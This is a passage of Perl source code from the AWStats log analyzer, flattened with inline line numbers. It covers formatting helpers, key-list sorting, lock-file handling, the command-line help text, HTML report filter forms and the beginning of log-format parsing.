( $bytes < 0 ) { $bytes = "?"; } 8108 return int($bytes) . ( int($bytes) ? " $Message[119]" : "" ); 8109} 8110 8111#------------------------------------------------------------------------------ 8112# Function: Format a number with commas or any other separator 8113# CL: courtesy of http://www.perlmonks.org/?node_id=2145 8114# Parameters: number 8115# Input: None 8116# Output: None 8117# Return: "999,999,999,999" 8118#------------------------------------------------------------------------------ 8119sub Format_Number { 8120 my $number = shift || 0; 8121 $number =~ s/(\d)(\d\d\d)$/$1 $2/; 8122 $number =~ s/(\d)(\d\d\d\s\d\d\d)$/$1 $2/; 8123 $number =~ s/(\d)(\d\d\d\s\d\d\d\s\d\d\d)$/$1 $2/; 8124 my $separator = $Message[177]; 8125 if ($separator eq '') { $separator=' '; } # For backward compatibility 8126 $number =~ s/ /$separator/g; 8127 return $number; 8128} 8129 8130#------------------------------------------------------------------------------ 8131# Function: Return " alt=string title=string" 8132# Parameters: string 8133# Input: None 8134# Output: None 8135# Return: "alt=string title=string" 8136#------------------------------------------------------------------------------ 8137sub AltTitle { 8138 my $string = shift || ''; 8139 return " alt='$string' title='$string'"; 8140 8141 # return " alt=\"$string\" title=\"$string\""; 8142 # return ($BuildReportFormat?"":" alt=\"$string\"")." title=\"$string\""; 8143} 8144 8145#------------------------------------------------------------------------------ 8146# Function: Tell if an email is a local or external email 8147# Parameters: email 8148# Input: $SiteDomain(exact string) $HostAliases(quoted regex string) 8149# Output: None 8150# Return: -1, 0 or 1 8151#------------------------------------------------------------------------------ 8152sub IsLocalEMail { 8153 my $email = shift || 'unknown'; 8154 if ( $email !~ /\@(.*)$/ ) { return 0; } 8155 my $domain = $1; 8156 if ( $domain =~ /^$SiteDomain$/i ) { return 1; } 8157 foreach (@HostAliases) { 8158 if ( $domain =~ /$_/ ) { return 1; } 8159 } 8160 return -1; 8161} 8162 8163#------------------------------------------------------------------------------ 8164# Function: Format a date according to Message[78] (country date format) 8165# Parameters: String date YYYYMMDDHHMMSS 8166# Option 0=LastUpdate and LastTime date 8167# 1=Arrays date except daymonthvalues 8168# 2=daymonthvalues date (only year month and day) 8169# Input: $Message[78] 8170# Output: None 8171# Return: Date with format defined by Message[78] and option 8172#------------------------------------------------------------------------------ 8173sub Format_Date { 8174 my $date = shift; 8175 my $option = shift || 0; 8176 my $year = substr( "$date", 0, 4 ); 8177 my $month = substr( "$date", 4, 2 ); 8178 my $day = substr( "$date", 6, 2 ); 8179 my $hour = substr( "$date", 8, 2 ); 8180 my $min = substr( "$date", 10, 2 ); 8181 my $sec = substr( "$date", 12, 2 ); 8182 my $dateformat = $Message[78]; 8183 8184 if ( $option == 2 ) { 8185 $dateformat =~ s/^[^ymd]+//g; 8186 $dateformat =~ s/[^ymd]+$//g; 8187 } 8188 $dateformat =~ s/yyyy/$year/g; 8189 $dateformat =~ s/yy/$year/g; 8190 $dateformat =~ s/mmm/$MonthNumLib{$month}/g; 8191 $dateformat =~ s/mm/$month/g; 8192 $dateformat =~ s/dd/$day/g; 8193 $dateformat =~ s/HH/$hour/g; 8194 $dateformat =~ s/MM/$min/g; 8195 $dateformat =~ s/SS/$sec/g; 8196 return "$dateformat"; 8197} 8198 8199#------------------------------------------------------------------------------ 8200# Function: Return 1 if string contains only ascii chars 8201# Parameters: string 8202# Input: None 8203# Output: None 8204# Return: 0 or 1 8205#------------------------------------------------------------------------------ 8206sub IsAscii { 8207 my $string = shift; 8208 if ($Debug) { debug( "IsAscii($string)", 5 ); } 8209 if ( $string =~ /^[\w\+\-\/\\\.%,;:=\"\'&?!\s]+$/ ) { 8210 if ($Debug) { debug( " Yes", 6 ); } 8211 return 8212 1 8213 ; # Only alphanum chars (and _) or + - / \ . % , ; : = " ' & ? space \t 8214 } 8215 if ($Debug) { debug( " No", 6 ); } 8216 return 0; 8217} 8218 8219#------------------------------------------------------------------------------ 8220# Function: Return the lower value between 2 but exclude value if 0 8221# Parameters: Val1 and Val2 8222# Input: None 8223# Output: None 8224# Return: min(Val1,Val2) 8225#------------------------------------------------------------------------------ 8226sub MinimumButNoZero { 8227 my ( $val1, $val2 ) = @_; 8228 return ( $val1 && ( $val1 < $val2 || !$val2 ) ? $val1 : $val2 ); 8229} 8230 8231#------------------------------------------------------------------------------ 8232# Function: Add a val from sorting tree 8233# Parameters: keytoadd keyval [firstadd] 8234# Input: None 8235# Output: None 8236# Return: None 8237#------------------------------------------------------------------------------ 8238sub AddInTree { 8239 my $keytoadd = shift; 8240 my $keyval = shift; 8241 my $firstadd = shift || 0; 8242 if ( $firstadd == 1 ) { # Val is the first one 8243 if ($Debug) { debug( " firstadd", 4 ); } 8244 $val{$keyval} = $keytoadd; 8245 $lowerval = $keyval; 8246 if ($Debug) { 8247 debug( 8248 " lowerval=$lowerval, nb elem val=" 8249 . ( scalar keys %val ) 8250 . ", nb elem egal=" 8251 . ( scalar keys %egal ) . ".", 8252 4 8253 ); 8254 } 8255 return; 8256 } 8257 if ( $val{$keyval} ) { # Val is already in tree 8258 if ($Debug) { debug( " val is already in tree", 4 ); } 8259 $egal{$keytoadd} = $val{$keyval}; 8260 $val{$keyval} = $keytoadd; 8261 if ($Debug) { 8262 debug( 8263 " lowerval=$lowerval, nb elem val=" 8264 . ( scalar keys %val ) 8265 . ", nb elem egal=" 8266 . ( scalar keys %egal ) . ".", 8267 4 8268 ); 8269 } 8270 return; 8271 } 8272 if ( $keyval <= $lowerval ) 8273 { # Val is a new one lower (should happens only when tree is not full) 8274 if ($Debug) { 8275 debug( 8276" keytoadd val=$keyval is lower or equal to lowerval=$lowerval", 8277 4 8278 ); 8279 } 8280 $val{$keyval} = $keytoadd; 8281 $nextval{$keyval} = $lowerval; 8282 $lowerval = $keyval; 8283 if ($Debug) { 8284 debug( 8285 " lowerval=$lowerval, nb elem val=" 8286 . ( scalar keys %val ) 8287 . ", nb elem egal=" 8288 . ( scalar keys %egal ) . ".", 8289 4 8290 ); 8291 } 8292 return; 8293 } 8294 8295 # Val is a new one higher 8296 if ($Debug) { 8297 debug( " keytoadd val=$keyval is higher than lowerval=$lowerval", 4 ); 8298 } 8299 $val{$keyval} = $keytoadd; 8300 my $valcursor = $lowerval; # valcursor is value just before keyval 8301 while ( $nextval{$valcursor} && ( $nextval{$valcursor} < $keyval ) ) { 8302 $valcursor = $nextval{$valcursor}; 8303 } 8304 if ( $nextval{$valcursor} ) 8305 { # keyval is between valcursor and nextval{valcursor} 8306 $nextval{$keyval} = $nextval{$valcursor}; 8307 } 8308 $nextval{$valcursor} = $keyval; 8309 if ($Debug) { 8310 debug( 8311 " lowerval=$lowerval, nb elem val=" 8312 . ( scalar keys %val ) 8313 . ", nb elem egal=" 8314 . ( scalar keys %egal ) . ".", 8315 4 8316 ); 8317 } 8318} 8319 8320#------------------------------------------------------------------------------ 8321# Function: Remove a val from sorting tree 8322# Parameters: None 8323# Input: $lowerval %val %egal 8324# Output: None 8325# Return: None 8326#------------------------------------------------------------------------------ 8327sub Removelowerval { 8328 my $keytoremove = $val{$lowerval}; # This is lower key 8329 if ($Debug) { 8330 debug( " remove for lowerval=$lowerval: key=$keytoremove", 4 ); 8331 } 8332 if ( $egal{$keytoremove} ) { 8333 $val{$lowerval} = $egal{$keytoremove}; 8334 delete $egal{$keytoremove}; 8335 } 8336 else { 8337 delete $val{$lowerval}; 8338 $lowerval = $nextval{$lowerval}; # Set new lowerval 8339 } 8340 if ($Debug) { 8341 debug( 8342 " new lower value=$lowerval, val size=" 8343 . ( scalar keys %val ) 8344 . ", egal size=" 8345 . ( scalar keys %egal ), 8346 4 8347 ); 8348 } 8349} 8350 8351#------------------------------------------------------------------------------ 8352# Function: Build @keylist array 8353# Parameters: Size max for @keylist array, 8354# Min value in hash for select, 8355# Hash used for select, 8356# Hash used for order 8357# Input: None 8358# Output: None 8359# Return: @keylist response array 8360#------------------------------------------------------------------------------ 8361sub BuildKeyList { 8362 my $ArraySize = shift || error( 8363"System error. Call to BuildKeyList function with incorrect value for first param", 8364 "", "", 1 8365 ); 8366 my $MinValue = shift || error( 8367"System error. Call to BuildKeyList function with incorrect value for second param", 8368 "", "", 1 8369 ); 8370 my $hashforselect = shift; 8371 my $hashfororder = shift; 8372 if ($Debug) { 8373 debug( 8374 " BuildKeyList($ArraySize,$MinValue,$hashforselect with size=" 8375 . ( scalar keys %$hashforselect ) 8376 . ",$hashfororder with size=" 8377 . ( scalar keys %$hashfororder ) . ")", 8378 3 8379 ); 8380 } 8381 delete $hashforselect->{0}; 8382 delete $hashforselect->{ '' 8383 }; # Those is to protect from infinite loop when hash array has an incorrect null key 8384 my $count = 0; 8385 $lowerval = 0; # Global because used in AddInTree and Removelowerval 8386 %val = (); 8387 %nextval = (); 8388 %egal = (); 8389 8390 foreach my $key ( keys %$hashforselect ) { 8391 if ( $count < $ArraySize ) { 8392 if ( $hashforselect->{$key} >= $MinValue ) { 8393 $count++; 8394 if ($Debug) { 8395 debug( 8396 " Add in tree entry $count : $key (value=" 8397 . ( $hashfororder->{$key} || 0 ) 8398 . ", tree not full)", 8399 4 8400 ); 8401 } 8402 AddInTree( $key, $hashfororder->{$key} || 0, $count ); 8403 } 8404 next; 8405 } 8406 $count++; 8407 if ( ( $hashfororder->{$key} || 0 ) <= $lowerval ) { next; } 8408 if ($Debug) { 8409 debug( 8410 " Add in tree entry $count : $key (value=" 8411 . ( $hashfororder->{$key} || 0 ) 8412 . " > lowerval=$lowerval)", 8413 4 8414 ); 8415 } 8416 AddInTree( $key, $hashfororder->{$key} || 0 ); 8417 if ($Debug) { debug( " Removelower in tree", 4 ); } 8418 Removelowerval(); 8419 } 8420 8421 # Build key list and sort it 8422 if ($Debug) { 8423 debug( 8424 " Build key list and sort it. lowerval=$lowerval, nb elem val=" 8425 . ( scalar keys %val ) 8426 . ", nb elem egal=" 8427 . ( scalar keys %egal ) . ".", 8428 3 8429 ); 8430 } 8431 my %notsortedkeylist = (); 8432 foreach my $key ( values %val ) { $notsortedkeylist{$key} = 1; } 8433 foreach my $key ( values %egal ) { $notsortedkeylist{$key} = 1; } 8434 @keylist = (); 8435 @keylist = ( 8436 sort { ( $hashfororder->{$b} || 0 ) <=> ( $hashfororder->{$a} || 0 ) } 8437 keys %notsortedkeylist 8438 ); 8439 if ($Debug) { 8440 debug( " BuildKeyList End (keylist size=" . (@keylist) . ")", 3 ); 8441 } 8442 return; 8443} 8444 8445#------------------------------------------------------------------------------ 8446# Function: Lock or unlock update 8447# Parameters: status (1 to lock, 0 to unlock) 8448# Input: $DirLock (if status=0) $PROG $FileSuffix 8449# Output: $DirLock (if status=1) 8450# Return: None 8451#------------------------------------------------------------------------------ 8452sub Lock_Update { 8453 my $status = shift; 8454 my $lock = "$PROG$FileSuffix.lock"; 8455 if ($status) { 8456 8457 # We stop if there is at least one lock file wherever it is 8458 foreach my $key ( $ENV{"TEMP"}, $ENV{"TMP"}, "/tmp", "/", "." ) { 8459 my $newkey = $key; 8460 $newkey =~ s/[\\\/]$//; 8461 if ( -f "$newkey/$lock" ) { 8462 error( 8463"An AWStats update process seems to be already running for this config file. Try later.\nIf this is not true, remove manually lock file '$newkey/$lock'.", 8464 "", "", 1 8465 ); 8466 } 8467 } 8468 8469 # Set lock where we can 8470 foreach my $key ( $ENV{"TEMP"}, $ENV{"TMP"}, "/tmp", "/", "." ) { 8471 if ( !-d "$key" ) { next; } 8472 $DirLock = $key; 8473 $DirLock =~ s/[\\\/]$//; 8474 if ($Debug) { debug("Update lock file $DirLock/$lock is set"); } 8475 open( LOCK, ">$DirLock/$lock" ) 8476 || error( "Failed to create lock file $DirLock/$lock", "", "", 8477 1 ); 8478 print LOCK 8479"AWStats update started by process $$ at $nowyear-$nowmonth-$nowday $nowhour:$nowmin:$nowsec\n"; 8480 close(LOCK); 8481 last; 8482 } 8483 } 8484 else { 8485 8486 # Remove lock 8487 if ($Debug) { debug("Update lock file $DirLock/$lock is removed"); } 8488 unlink("$DirLock/$lock"); 8489 } 8490 return; 8491} 8492 8493#------------------------------------------------------------------------------ 8494# Function: Signal handler to call Lock_Update to remove lock file 8495# Parameters: Signal name 8496# Input: None 8497# Output: None 8498# Return: None 8499#------------------------------------------------------------------------------ 8500sub SigHandler { 8501 my $signame = shift; 8502 print ucfirst($PROG) . " process (ID $$) interrupted by signal $signame.\n"; 8503 &Lock_Update(0); 8504 exit 1; 8505} 8506 8507#------------------------------------------------------------------------------ 8508# Function: Convert an IPAddress into an integer 8509# Parameters: IPAddress 8510# Input: None 8511# Output: None 8512# Return: Int 8513#------------------------------------------------------------------------------ 8514sub Convert_IP_To_Decimal { 8515 my ($IPAddress) = @_; 8516 my @ip_seg_arr = split( /\./, $IPAddress ); 8517 my $decimal_ip_address = 8518 256 * 256 * 256 * $ip_seg_arr[0] + 256 * 256 * $ip_seg_arr[1] + 256 * 8519 $ip_seg_arr[2] + $ip_seg_arr[3]; 8520 return ($decimal_ip_address); 8521} 8522 8523#------------------------------------------------------------------------------ 8524# Function: Test there is at least one value in list not null 8525# Parameters: List of values 8526# Input: None 8527# Output: None 8528# Return: 1 There is at least one not null value, 0 else 8529#------------------------------------------------------------------------------ 8530sub AtLeastOneNotNull { 8531 if ($Debug) { 8532 debug( " Call to AtLeastOneNotNull (" . join( '-', @_ ) . ")", 3 ); 8533 } 8534 foreach my $val (@_) { 8535 if ($val) { return 1; } 8536 } 8537 return 0; 8538} 8539 8540#------------------------------------------------------------------------------ 8541# Function: Prints the command line interface help information 8542# Parameters: None 8543# Input: None 8544# Output: None 8545# Return: None 8546#------------------------------------------------------------------------------ 8547sub PrintCLIHelp{ 8548 &Read_Ref_Data( 8549 'browsers', 'domains', 'operating_systems', 'robots', 8550 'search_engines', 'worms' 8551 ); 8552 print "----- $PROG $VERSION (c) 2000-2018 Laurent Destailleur -----\n"; 8553 print 8554"AWStats is a free web server logfile analyzer to show you advanced web\n"; 8555 print "statistics.\n"; 8556 print 8557"AWStats comes with ABSOLUTELY NO WARRANTY. It's a free software distributed\n"; 8558 print "with a GNU General Public License (See LICENSE file for details).\n"; 8559 print "\n"; 8560 print "Syntax: $PROG.$Extension -config=virtualhostname [options]\n"; 8561 print "\n"; 8562 print 8563" This runs $PROG in command line to update statistics (-update option) of a\n"; 8564 print 8565" web site, from the log file defined in AWStats config file, or build a HTML\n"; 8566 print " report (-output option).\n"; 8567 print 8568" First, $PROG tries to read $PROG.virtualhostname.conf as the config file.\n"; 8569 print " If not found, $PROG tries to read $PROG.conf, and finally the full path passed to -config=\n"; 8570 print 8571" Note 1: Config files ($PROG.virtualhostname.conf or $PROG.conf) must be\n"; 8572 print 8573" in /etc/awstats, /usr/local/etc/awstats, /etc or same directory than\n"; 8574 print " awstats.pl script file.\n"; 8575 print 8576" Note 2: If AWSTATS_FORCE_CONFIG environment variable is defined, AWStats will\n"; 8577 print 8578" use it as the \"config\" value, whatever is the value on command line or URL.\n"; 8579 print " See AWStats documentation for all setup instrutions.\n"; 8580 print "\n"; 8581 print "Options to update statistics:\n"; 8582 print " -update to update statistics (default)\n"; 8583 print 8584" -showsteps to add benchmark information every $NBOFLINESFORBENCHMARK lines processed\n"; 8585 print 8586" -showcorrupted to add output for each corrupted lines found, with reason\n"; 8587 print 8588" -showdropped to add output for each dropped lines found, with reason\n"; 8589 print " -showunknownorigin to output referer when it can't be parsed\n"; 8590 print 8591" -showdirectorigin to output log line when origin is a direct access\n"; 8592 print " -updatefor=n to stop the update process after parsing n lines\n"; 8593 print 8594" -LogFile=x to change log to analyze whatever is 'LogFile' in config file\n"; 8595 print 8596" Be care to process log files in chronological order when updating statistics.\n"; 8597 print "\n"; 8598 print "Options to show statistics:\n"; 8599 print 8600" -output to output main HTML report (no update made except with -update)\n"; 8601 print " -output=x to output other report pages where x is:\n"; 8602 print 8603" alldomains to build page of all domains/countries\n"; 8604 print " allhosts to build page of all hosts\n"; 8605 print 8606 " lasthosts to build page of last hits for hosts\n"; 8607 print 8608 " unknownip to build page of all unresolved IP\n"; 8609 print 8610" allemails to build page of all email senders (maillog)\n"; 8611 print 8612" lastemails to build page of last email senders (maillog)\n"; 8613 print 8614" allemailr to build page of all email receivers (maillog)\n"; 8615 print 8616" lastemailr to build page of last email receivers (maillog)\n"; 8617 print " alllogins to build page of all logins used\n"; 8618 print 8619 " lastlogins to build page of last hits for logins\n"; 8620 print 8621" allrobots to build page of all robots/spider visits\n"; 8622 print 8623 " lastrobots to build page of last hits for robots\n"; 8624 print " urldetail to list most often viewed pages \n"; 8625 print 8626" urldetail:filter to list most often viewed pages matching filter\n"; 8627 print " urlentry to list entry pages\n"; 8628 print 8629 " urlentry:filter to list entry pages matching filter\n"; 8630 print " urlexit to list exit pages\n"; 8631 print 8632 " urlexit:filter to list exit pages matching filter\n"; 8633 print 8634" osdetail to build page with os detailed versions\n"; 8635 print 8636" browserdetail to build page with browsers detailed versions\n"; 8637 print 8638" unknownbrowser to list 'User Agents' with unknown browser\n"; 8639 print 8640 " unknownos to list 'User Agents' with unknown OS\n"; 8641 print 8642" refererse to build page of all refering search engines\n"; 8643 print 8644 " refererpages to build page of all refering pages\n"; 8645 8646 #print " referersites to build page of all refering sites\n"; 8647 print 8648" keyphrases to list all keyphrases used on search engines\n"; 8649 print 8650" keywords to list all keywords used on search engines\n"; 8651 print " errors404 to list 'Referers' for 404 errors\n"; 8652 print 8653" allextraX to build page of all values for ExtraSection X\n"; 8654 print " -staticlinks to have static links in HTML report page\n"; 8655 print " -staticlinksext=xxx to have static links with .xxx extension instead of .html\n"; 8656 print 8657" -lang=LL to output a HTML report in language LL (en,de,es,fr,it,nl,...)\n"; 8658 print " -month=MM to output a HTML report for an old month MM\n"; 8659 print " -year=YYYY to output a HTML report for an old year YYYY\n"; 8660 print 8661" The 'date' options doesn't allow you to process old log file. They only\n"; 8662 print 8663" allow you to see a past report for a chosen month/year period instead of\n"; 8664 print " current month/year.\n"; 8665 print "\n"; 8666 print "Other options:\n"; 8667 print 8668" -debug=X to add debug informations lesser than level X (speed reduced)\n"; 8669 print 8670" -version show AWStats version\n"; 8671 print "\n"; 8672 print "Now supports/detects:\n"; 8673 print 8674" Web/Ftp/Mail/streaming server log analyzis (and load balanced log files)\n"; 8675 print " Reverse DNS lookup (IPv4 and IPv6) and GeoIP lookup\n"; 8676 print " Number of visits, number of unique visitors\n"; 8677 print " Visits duration and list of last visits\n"; 8678 print " Authenticated users\n"; 8679 print " Days of week and rush hours\n"; 8680 print " Hosts list and unresolved IP addresses list\n"; 8681 print " Most viewed, entry and exit pages\n"; 8682 print " Files type and Web compression (mod_gzip, mod_deflate stats)\n"; 8683 print " Screen size\n"; 8684 print " Ratio of Browsers with support of: Java, Flash, RealG2 reader,\n"; 8685 print " Quicktime reader, WMA reader, PDF reader\n"; 8686 print " Configurable personalized reports\n"; 8687 print " " . ( scalar keys %DomainsHashIDLib ) . " domains/countries\n"; 8688 print " " . ( scalar keys %RobotsHashIDLib ) . " robots\n"; 8689 print " " . ( scalar keys %WormsHashLib ) . " worm's families\n"; 8690 print " " . ( scalar keys %OSHashLib ) . " operating systems\n"; 8691 print " " . ( scalar keys %BrowsersHashIDLib ) . " browsers"; 8692 &Read_Ref_Data('browsers_phone'); 8693 print " (" 8694 . ( scalar keys %BrowsersHashIDLib ) 8695 . " with phone browsers database)\n"; 8696 print " " 8697 . ( scalar keys %SearchEnginesHashLib ) 8698 . " search engines (and keyphrases/keywords used from them)\n"; 8699 print " All HTTP errors with last referrer\n"; 8700 print " Report by day/month/year\n"; 8701 print " Dynamic or static HTML or XHTML reports, static PDF reports\n"; 8702 print " Indexed text or XML monthly database\n"; 8703 print " And a lot of other advanced features and options...\n"; 8704 print "New versions and FAQ at http://www.awstats.org\n"; 8705} 8706 8707#------------------------------------------------------------------------------ 8708# Function: Return the string to add in html tag to include popup javascript code 8709# Parameters: tooltip number 8710# Input: None 8711# Output: None 8712# Return: string with javascript code 8713#------------------------------------------------------------------------------ 8714sub Tooltip { 8715 my $ttnb = shift; 8716 return ( 8717 $TOOLTIPON 8718 ? " onmouseover=\"ShowTip($ttnb);\" onmouseout=\"HideTip($ttnb);\"" 8719 : "" 8720 ); 8721} 8722 8723#------------------------------------------------------------------------------ 8724# Function: Insert a form filter 8725# Parameters: Name of filter field, default for filter field, default for exclude filter field 8726# Input: $StaticLinks, $QueryString, $SiteConfig, $DirConfig 8727# Output: HTML Form 8728# Return: None 8729#------------------------------------------------------------------------------ 8730sub HTMLShowFormFilter { 8731 my $fieldfiltername = shift; 8732 my $fieldfilterinvalue = shift; 8733 my $fieldfilterexvalue = shift; 8734 if ( !$StaticLinks ) { 8735 my $NewLinkParams = ${QueryString}; 8736 $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; 8737 $NewLinkParams =~ s/(^|&|&)output(=\w*|$)//i; 8738 $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; 8739 $NewLinkParams =~ s/(&|&)+/&/i; 8740 $NewLinkParams =~ s/^&//; 8741 $NewLinkParams =~ s/&$//; 8742 if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; } 8743 print "\n<form name=\"FormFilter\" action=\"" 8744 . XMLEncode("$AWScript${NewLinkParams}") 8745 . "\" class=\"aws_border\">\n"; 8746 print 8747"<table valign=\"middle\" width=\"99%\" border=\"0\" cellspacing=\"0\" cellpadding=\"2\"><tr>\n"; 8748 print "<td align=\"left\" width=\"50\">$Message[79] :</td>\n"; 8749 print 8750"<td align=\"left\" width=\"100\"><input type=\"text\" name=\"${fieldfiltername}\" value=\"$fieldfilterinvalue\" class=\"aws_formfield\" /></td>\n"; 8751 print "<td> </td>"; 8752 print "<td align=\"left\" width=\"100\">$Message[153] :</td>\n"; 8753 print 8754"<td align=\"left\" width=\"100\"><input type=\"text\" name=\"${fieldfiltername}ex\" value=\"$fieldfilterexvalue\" class=\"aws_formfield\" /></td>\n"; 8755 print "<td>"; 8756 print "<input type=\"hidden\" name=\"output\" value=\"" 8757 . join( ',', keys %HTMLOutput ) 8758 . "\" />\n"; 8759 8760 if ($SiteConfig) { 8761 print 8762"<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" />\n"; 8763 } 8764 if ($DirConfig) { 8765 print 8766"<input type=\"hidden\" name=\"configdir\" value=\"$DirConfig\" />\n"; 8767 } 8768 if ( $QueryString =~ /(^|&|&)year=(\d\d\d\d)/i ) { 8769 print "<input type=\"hidden\" name=\"year\" value=\"$2\" />\n"; 8770 } 8771 if ( $QueryString =~ /(^|&|&)month=(\d\d)/i 8772 || $QueryString =~ /(^|&|&)month=(all)/i ) 8773 { 8774 print "<input type=\"hidden\" name=\"month\" value=\"$2\" />\n"; 8775 } 8776 if ( $QueryString =~ /(^|&|&)lang=(\w+)/i ) { 8777 print "<input type=\"hidden\" name=\"lang\" value=\"$2\" />\n"; 8778 } 8779 if ( $QueryString =~ /(^|&|&)debug=(\d+)/i ) { 8780 print "<input type=\"hidden\" name=\"debug\" value=\"$2\" />\n"; 8781 } 8782 if ( $QueryString =~ /(^|&|&)framename=(\w+)/i ) { 8783 print "<input type=\"hidden\" name=\"framename\" value=\"$2\" />\n"; 8784 } 8785 print 8786"<input type=\"submit\" value=\" $Message[115] \" class=\"aws_button\" /></td>\n"; 8787 print "<td> </td>"; 8788 print "</tr></table>\n"; 8789 print "</form>\n"; 8790 print "<br />\n"; 8791 print "\n"; 8792 } 8793} 8794 8795#------------------------------------------------------------------------------ 8796# Function: Write other user info (with help of plugin) 8797# Parameters: $user 8798# Input: $SiteConfig 8799# Output: URL link 8800# Return: None 8801#------------------------------------------------------------------------------ 8802sub HTMLShowUserInfo { 8803 my $user = shift; 8804 8805 # Call to plugins' function ShowInfoUser 8806 foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoUser'} } ) { 8807 8808 # my $function="ShowInfoUser_$pluginname('$user')"; 8809 # eval("$function"); 8810 my $function = "ShowInfoUser_$pluginname"; 8811 &$function($user); 8812 } 8813} 8814 8815#------------------------------------------------------------------------------ 8816# Function: Write other cluster info (with help of plugin) 8817# Parameters: $clusternb 8818# Input: $SiteConfig 8819# Output: Cluster info 8820# Return: None 8821#------------------------------------------------------------------------------ 8822sub HTMLShowClusterInfo { 8823 my $cluster = shift; 8824 8825 # Call to plugins' function ShowInfoCluster 8826 foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoCluster'} } ) 8827 { 8828 8829 # my $function="ShowInfoCluster_$pluginname('$user')"; 8830 # eval("$function"); 8831 my $function = "ShowInfoCluster_$pluginname"; 8832 &$function($cluster); 8833 } 8834} 8835 8836#------------------------------------------------------------------------------ 8837# Function: Write other host info (with help of plugin) 8838# Parameters: $host 8839# Input: $LinksToWhoIs $LinksToWhoIsIp 8840# Output: None 8841# Return: None 8842#------------------------------------------------------------------------------ 8843sub HTMLShowHostInfo { 8844 my $host = shift; 8845 8846 # Call to plugins' function ShowInfoHost 8847 foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoHost'} } ) { 8848 8849 # my $function="ShowInfoHost_$pluginname('$host')"; 8850 # eval("$function"); 8851 my $function = "ShowInfoHost_$pluginname"; 8852 &$function($host); 8853 } 8854} 8855 8856#------------------------------------------------------------------------------ 8857# Function: Write other url info (with help of plugin) 8858# Parameters: $url 8859# Input: %Aliases $MaxLengthOfShownURL $ShowLinksOnUrl $SiteDomain $UseHTTPSLinkForUrl 8860# Output: URL link 8861# Return: None 8862#------------------------------------------------------------------------------ 8863sub HTMLShowURLInfo { 8864 my $url = shift; 8865 my $nompage = CleanXSS($url); 8866 8867 # Call to plugins' function ShowInfoURL 8868 foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowInfoURL'} } ) { 8869 8870 # my $function="ShowInfoURL_$pluginname('$url')"; 8871 # eval("$function"); 8872 my $function = "ShowInfoURL_$pluginname"; 8873 &$function($url); 8874 } 8875 8876 if ( length($nompage) > $MaxLengthOfShownURL ) { 8877 $nompage = substr( $nompage, 0, $MaxLengthOfShownURL ) . "..."; 8878 } 8879 if ($ShowLinksOnUrl) { 8880 my $newkey = CleanXSS($url); 8881 if ( $LogType eq 'W' || $LogType eq 'S' ) { # Web or streaming log file 8882 if ( $newkey =~ /^http(s|):/i ) 8883 { # URL seems to be extracted from a proxy log file 8884 print "<a href=\"" 8885 . XMLEncode("$newkey") 8886 . "\" target=\"url\" rel=\"nofollow noopener noreferrer\">" 8887 . XMLEncode($nompage) . "</a>"; 8888 } 8889 elsif ( $newkey =~ /^\// ) 8890 { # URL seems to be an url extracted from a web or wap server log file 8891 $newkey =~ s/^\/$SiteDomain//i; 8892 8893 # Define urlprot 8894 my $urlprot = 'http'; 8895 if ( $UseHTTPSLinkForUrl && $newkey =~ /^$UseHTTPSLinkForUrl/ ) 8896 { 8897 $urlprot = 'https'; 8898 } 8899 print "<a href=\"" 8900 . XMLEncode("$urlprot://$SiteDomain$newkey") 8901 . "\" target=\"url\" rel=\"nofollow noopener noreferrer\">" 8902 . XMLEncode($nompage) . "</a>"; 8903 } 8904 else { 8905 print XMLEncode($nompage); 8906 } 8907 } 8908 elsif ( $LogType eq 'F' ) { # Ftp log file 8909 print XMLEncode($nompage); 8910 } 8911 elsif ( $LogType eq 'M' ) { # Smtp log file 8912 print XMLEncode($nompage); 8913 } 8914 else { # Other type log file 8915 print XMLEncode($nompage); 8916 } 8917 } 8918 else { 8919 print XMLEncode($nompage); 8920 } 8921} 8922 8923#------------------------------------------------------------------------------ 8924# Function: Define value for PerlParsingFormat (used for regex log record parsing) 8925# Parameters: $LogFormat 8926# Input: - 8927# Output: $pos_xxx, @pos_extra, @fieldlib, $PerlParsingFormat 8928# Return: - 8929#------------------------------------------------------------------------------ 8930sub DefinePerlParsingFormat { 8931 my $LogFormat = shift; 8932 $pos_vh = $pos_host = $pos_logname = $pos_date = $pos_tz = $pos_method = 8933 $pos_url = $pos_code = $pos_size = -1; 8934 $pos_referer = $pos_agent = $pos_query = $pos_gzipin = $pos_gzipout = 8935 $pos_compratio = -1; 8936 $pos_cluster = $pos_emails = $pos_emailr = $pos_hostr = -1; 8937 @pos_extra = (); 8938 @fieldlib = (); 8939 $PerlParsingFormat = ''; 8940 8941# Log records examples: 8942# Apache combined: 62.161.78.73 user - [dd/mmm/yyyy:hh:mm:ss +0000] "GET / HTTP/1.1" 200 1234 "http://www.from.com/from.htm" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" 8943# Apache combined (408 error): my.domain.com - user [09/Jan/2001:11:38:51 -0600] "OPTIONS /mime-tmp/xxx file.doc HTTP/1.1" 408 - "-" "-" 8944# Apache combined (408 error): 62.161.78.73 user - [dd/mmm/yyyy:hh:mm:ss +0000] "-" 408 - "-" "-" 8945# Apache combined (400 error): 80.8.55.11 - - [28/Apr/2007:03:20:02 +0200] "GET /" 400 584 "-" "-" 8946# IIS: 2000-07-19 14:14:14 62.161.78.73 - GET / 200 1234 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) http://www.from.com/from.htm 8947# WebStar: 05/21/00 00:17:31 OK 200 212.242.30.6 Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt) http://www.cover.dk/ "www.cover.dk" :Documentation:graphics:starninelogo.white.gif 1133 8948# Squid extended: 12.229.91.170 - - [27/Jun/2002:03:30:50 -0700] "GET http://www.callistocms.com/images/printable.gif HTTP/1.1" 304 354 "-" "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0" TCP_REFRESH_HIT:DIRECT 8949# Log formats: 8950# Apache common_with_mod_gzip_info1: %h %l %u %t \"%r\" %>s %b mod_gzip: %{mod_gzip_compression_ratio}npct. 8951# Apache common_with_mod_gzip_info2: %h %l %u %t \"%r\" %>s %b mod_gzip: 